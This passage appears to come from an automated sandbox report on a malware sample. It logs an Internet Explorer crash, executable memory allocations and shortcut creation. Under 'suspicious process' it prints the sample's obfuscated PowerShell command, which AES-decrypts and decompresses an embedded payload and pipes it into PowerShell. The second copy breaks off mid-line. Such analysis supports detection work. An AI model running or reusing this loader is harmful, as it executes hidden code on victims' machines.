Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefde8b76c
NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdde48d6
CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe130883
CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe130ccd
CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe130c43
CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefdfea4f0
GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefdffd551
CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe13347e
CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe13122b
CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe133542
GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefdffd42d
GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefdffd1d6
TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x76ba9bd1
TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x76ba98da
GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefdffd0ab
CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe123e57
ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefdfd0106
ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefdfd0182
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7718652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x772bc521

exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00
exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d
exception.instruction: add rsp, 0xc8
exception.module: KERNELBASE.dll
exception.exception_code: 0x80040155
exception.offset: 42141
exception.address: 0x7fefda5a49d
registers.r14: 0
registers.r15: 0
registers.rcx: 112322304
registers.rsi: 0
registers.r10: 0
registers.rbx: 0
registers.rsp: 112328256
registers.r11: 112324064
registers.r8: 0
registers.r9: 0
registers.rdx: 1
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 1905030994
registers.r13: 0

Performs some HTTP requests (1 event)

request

GET http://ie9cvlist.ie.microsoft.com/IE9CompatViewList.xml

Allocates read-write-execute memory (usually to unpack itself) (50 out of 600 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 3068 region_size: 987136 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000031c0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 3068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000032b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bad000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bd2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bb4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bd2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc1d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc1d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdc44000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdad1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9a000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 3068 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000003520000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefa1b7000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef69c9000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:28 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007feee439000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 region_size: 200704 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002390000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000023c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bad000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bd2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bb4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bd2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc1d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc1d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdc44000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdad1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9a000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9d000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9b000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077186000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772d6000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077181000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076ba0000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9a000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772af000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772bb000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefe117000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 26, 2023, 2:27 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdbe4000 process_handle: 0xffffffffffffffff	1

An application raised an exception which may be indicative of an exploit crash (2 events)

Time & API	Arguments	Status	Return	Repeated
Application Crash	Process iexplore.exe with pid 3068 crashed
__exception__ July 26, 2023, 2:28 p.m.	stacktrace: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefda5a49d RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefddc73c3 ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0043bf IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdde5295 I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdde2799 Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefde8af1e Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefde8b76c NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdde48d6 CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe130883 CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe130ccd CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe130c43 CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefdfea4f0 GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefdffd551 CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe13347e CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe13122b CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe133542 GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefdffd42d GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefdffd1d6 TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x76ba9bd1 TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x76ba98da GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefdffd0ab CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe123e57 ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefdfd0106 ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefdfd0182 BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7718652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x772bc521 exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00 exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d exception.instruction: add rsp, 0xc8 exception.module: KERNELBASE.dll exception.exception_code: 0x80040155 exception.offset: 42141 exception.address: 0x7fefda5a49d registers.r14: 0 registers.r15: 0 registers.rcx: 112322304 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 112328256 registers.r11: 112324064 registers.r8: 0 registers.r9: 0 registers.rdx: 1 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 1905030994 registers.r13: 0	1	0	0

Application Crash

Process iexplore.exe with pid 3068 crashed

Time & API

Arguments

Status

Return

Repeated

__exception__

July 26, 2023, 2:28 p.m.

stacktrace:

RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefda5a49d
RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefddc73c3
ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0043bf
IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdde5295
I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdde2799
Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefde8af1e
Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefde8b76c
NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdde48d6
CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe130883
CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe130ccd
CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe130c43
CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefdfea4f0
GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefdffd551
CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe13347e
CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe13122b
CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe133542
GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefdffd42d
GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefdffd1d6
TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x76ba9bd1
TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x76ba98da
GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefdffd0ab
CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe123e57
ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefdfd0106
ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefdfd0182
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7718652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x772bc521

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\Desktop\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (6 events)

cmdline	"C:\Windows\system32\cmd.exe" /c powershell.exe $nlQd = 'AAAAAAAAAAAAAAAAAAAAAGm0cNyZxntPzH+fHRaTsGlOraX9OxIqcsTFdZZUxRcwysN9fZSDRrN7DRqCFEHkyulz/euXrYWwzmO6eHParfoDFynIw/NFhJvI1ajFWodLyGFQT0F/gKY2skZTtHhGSReVPxYjtg78gJCIFVL7VA9IdW+KNAga+GGhp7jEUaadq2bMi35xDH8k4pn86BTaBDL2gGovJt0gLjGLVkf3GxHDwjALOMePrQDa0/YTk5cDTu3BBErcQr8wRTaM8Dq63x4aiB1g1haVwpf+CXyfD0TFhAwYhASAua55RDVlpPZoi4nKRpVvz/KVXSAKbuaIGqlD58qpEmrfx4TzJdisuCIVSndz2n7X9faWK1CHZuz30Fam2DwcMvlY6g0npl289Jbjm975COQ3U71HgSOj1YUQyM8lecgMJT/VWls+i/JlVao7vO1he6AqqqJlbsnJygBKEu7ZLASEwN0d97IWS162GiIInolCwd5sp+XnLfi7CJajnOtGu9V76G6hiM/mIjjE/YLcsfR77XCifLEwKaxWTcSo3HrWr9YGImigIIYxPJkiEcr0dT+6HeTpgGCepEB/e63fOyKlnhrPayC630bkBmsTKoLXHt0gA68RkfJVuIy754nTtcvnA+MpPGl2cEADD4+1FigZQXpf5AwTzFSzxR+da9KPJ1Gr7ugf/mr8QfdRWUdKjFapscAah7BHasBhMUnH4ew3RKEdEsN0ENEao0cw+saTsPjHxsx/iLiWxkjw/rxMeKYtJKu3n13SybTtmc4mv19peMacRwzjPYI9a4K4T5r9A0qfegAjttRtduRi4cgASIQX7odwvGeB7k6qqPtqiVzyAXDTIKNeJoGjRegyJ+inJfDkO4C129DkoxQ9nTQNp707DdTX1gxNTHMY8HJaAQCd2wOrHpYnkpPNxXEY9J4yVAvwlQErttwhgEjedOQTSTJ567ButIm7M7Khpp6IcTx+BGygui1xu2k=';$tWpQVby = 'bUhSRUhLS3B0RHNKcmhSYnhGblJOS2tkUU5ia1Z6TWo=';$HSihsk = New-Object 'System.Security.Cryptography.AesManaged';$HSihsk.Mode = [System.Security.Cryptography.CipherMode]::ECB;$HSihsk.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$HSihsk.BlockSize = 128;$HSihsk.KeySize = 256;$HSihsk.Key = [System.Convert]::FromBase64String($tWpQVby);$Omqpr = [System.Convert]::FromBase64String($nlQd);$SHDzOWza = $Omqpr[0..15];$HSihsk.IV = $SHDzOWza;$wFNIXQHKM = $HSihsk.CreateDecryptor();$CZbDtTJuK = $wFNIXQHKM.TransformFinalBlock($Omqpr, 16, $Omqpr.Length - 16);$HSihsk.Dispose();$ilrYPQCw = New-Object System.IO.MemoryStream( , $CZbDtTJuK );$RcHyK = New-Object System.IO.MemoryStream;$dedlfDddT = New-Object System.IO.Compression.GzipStream $ilrYPQCw, ([IO.Compression.CompressionMode]::Decompress);$dedlfDddT.CopyTo( $RcHyK );$dedlfDddT.Close();$ilrYPQCw.Close();[byte[]] $rxGgI = $RcHyK.ToArray();$RgZotFEs = [System.Text.Encoding]::UTF8.GetString($rxGgI);$RgZotFEs \| powershell -
cmdline	C:\Windows\System32\cmd.exe /c powershell.exe $nlQd = 'AAAAAAAAAAAAAAAAAAAAAGm0cNyZxntPzH+fHRaTsGlOraX9OxIqcsTFdZZUxRcwysN9fZSDRrN7DRqCFEHkyulz/euXrYWwzmO6eHParfoDFynIw/NFhJvI1ajFWodLyGFQT0F/gKY2skZTtHhGSReVPxYjtg78gJCIFVL7VA9IdW+KNAga+GGhp7jEUaadq2bMi35xDH8k4pn86BTaBDL2gGovJt0gLjGLVkf3GxHDwjALOMePrQDa0/YTk5cDTu3BBErcQr8wRTaM8Dq63x4aiB1g1haVwpf+CXyfD0TFhAwYhASAua55RDVlpPZoi4nKRpVvz/KVXSAKbuaIGqlD58qpEmrfx4TzJdisuCIVSndz2n7X9faWK1CHZuz30Fam2DwcMvlY6g0npl289Jbjm975COQ3U71HgSOj1YUQyM8lecgMJT/VWls+i/JlVao7vO1he6AqqqJlbsnJygBKEu7ZLASEwN0d97IWS162GiIInolCwd5sp+XnLfi7CJajnOtGu9V76G6hiM/mIjjE/YLcsfR77XCifLEwKaxWTcSo3HrWr9YGImigIIYxPJkiEcr0dT+6HeTpgGCepEB/e63fOyKlnhrPayC630bkBmsTKoLXHt0gA68RkfJVuIy754nTtcvnA+MpPGl2cEADD4+1FigZQXpf5AwTzFSzxR+da9KPJ1Gr7ugf/mr8QfdRWUdKjFapscAah7BHasBhMUnH4ew3RKEdEsN0ENEao0cw+saTsPjHxsx/iLiWxkjw/rxMeKYtJKu3n13SybTtmc4mv19peMacRwzjPYI9a4K4T5r9A0qfegAjttRtduRi4cgASIQX7odwvGeB7k6qqPtqiVzyAXDTIKNeJoGjRegyJ+inJfDkO4C129DkoxQ9nTQNp707DdTX1gxNTHMY8HJaAQCd2wOrHpYnkpPNxXEY9J4yVAvwlQErttwhgEjedOQTSTJ567ButIm7M7Khpp6IcTx+BGygui1xu2k=';$tWpQVby = 'bUhSRUhLS3B0RHNKcmhSYnhGblJOS2tkUU5ia1Z6TWo=';$HSihsk = New-Object 'System.Security.Cryptography.AesManaged';$HSihsk.Mode = [System.Security.Cryptography.CipherMode]::ECB;$HSihsk.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$HSihsk.BlockSize = 128;$HSihsk.KeySize = 256;$HSihsk.Key = [System.Convert]::FromBase64String($tWpQVby);$Omqpr = 